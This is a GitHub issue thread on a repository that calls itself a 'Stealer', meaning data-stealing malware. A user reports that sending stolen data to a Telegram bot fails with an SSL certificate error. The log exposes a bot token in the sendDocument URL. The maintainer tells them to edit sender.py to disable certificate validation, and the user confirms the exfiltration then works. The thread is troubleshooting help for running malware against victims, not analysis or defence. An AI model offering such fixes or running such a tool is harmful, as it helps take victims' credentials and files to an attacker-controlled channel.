FallenAstaroth / stink

🚀 Stealer on built-in libraries only, which doesn't create any temp files on data collecting, with 4 sending methods and lots of functionality.
Apache License 2.0
224 stars 55 forks source link

SSL: CERTIFICATE_VERIFY_FAILED #20

Closed AlgoApi closed 2 years ago

AlgoApi commented 2 years ago

I am using windows 7 32bit and when running the code it gives such an error and the message in the telegram does not come [SENDER]: MaxRetryError("HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5293900402:AAH9D6Vye21VZwCgLaqFPK_96ZbTYUMmwtQ/sendDocument (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)'),))",) [] None

Я использую windows 7 32bit и при запуске кода выдаёт такую ошибку и сообщение в телеграмме не приходит [SENDER]: MaxRetryError("HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5293900402:AAH9D6Vye21VZwCgLaqFPK_96ZbTYUMmwtQ/sendDocument (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)'),))",) [] None

FallenAstaroth commented 2 years ago

I am using windows 7 32bit and when running the code it gives such an error and the message in the telegram does not come

[SENDER]: MaxRetryError("HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5293900402:AAH9D6Vye21VZwCgLaqFPK_96ZbTYUMmwtQ/sendDocument (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)'),))",) [] None Я использую windows 7 32bit и при запуске кода выдаёт такую ошибку и сообщение в телеграмме не приходит [SENDER]: MaxRetryError("HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5293900402:AAH9D6Vye21VZwCgLaqFPK_96ZbTYUMmwtQ/sendDocument (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)'),))",) [] None

Try to disable certificate validation.

If you are using a virtual environment: Open the project directory and open the file venv/Lib/site-packages/stink/utils/sender.py

If not, open the directory where you have Python installed and open the file Lib/site-packages/stink/utils/sender.py

Then change line 25 in it to this http = poolmanager.PoolManager(cert_reqs="CERT_NONE")

Screenshot_1

AlgoApi commented 2 years ago

Thanks! It helped

FallenAstaroth commented 2 years ago

The http = poolmanager.PoolManager() has been moved to line 9 in the paths venv/Lib/site-packages/stink/utils/config.py and Lib/site-packages/stink/utils/config.py respectively